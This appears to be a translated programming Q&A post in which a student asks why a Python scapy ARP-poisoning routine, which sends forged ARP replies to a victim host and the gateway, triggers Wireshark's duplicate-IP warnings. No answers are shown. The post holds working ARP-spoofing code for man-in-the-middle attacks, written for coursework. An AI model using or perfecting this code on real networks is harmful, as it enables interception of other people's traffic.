ARP中毒与scapy

时间:2017-03-30 06:23:06

标签: python scapy arp

我正在尝试为课程做一个项目,我的功能是:

def trick(gate_mac, victim_mac):
    '''Tricks the victim and the gate_way, using arp'''
    my_mac=ARP()
    my_mac=my_mac.hwsrc
    send(ARP(pdst= victim_ip, psrc = gate_ip, hwdst= victim_mac))
    send(ARP(pdst= gate_ip, psrc = victim_ip, hwdst= my_mac))
    print "TRICKED" 

它在一个循环中运行,但是当我启动wireshark时,某些东西阻塞了我,它说:

  

(检测到10.30.56.186的重复使用!) - 受害者

     

(检测到10.30.56.1的重复使用!) - 路由器

我试着发送:

sendp(Ether(dst=ETHER_BROADCAST)/ARP(pdst= victim_ip, psrc = gate_ip, hwdst= victim_mac))
sendp(Ether(dst=ETHER_BROADCAST)/ARP(pdst= gate_ip, psrc = victim_ip, hwdst= my_mac))

但它在wireshark上给了我同样的错误。

0 个答案:

没有答案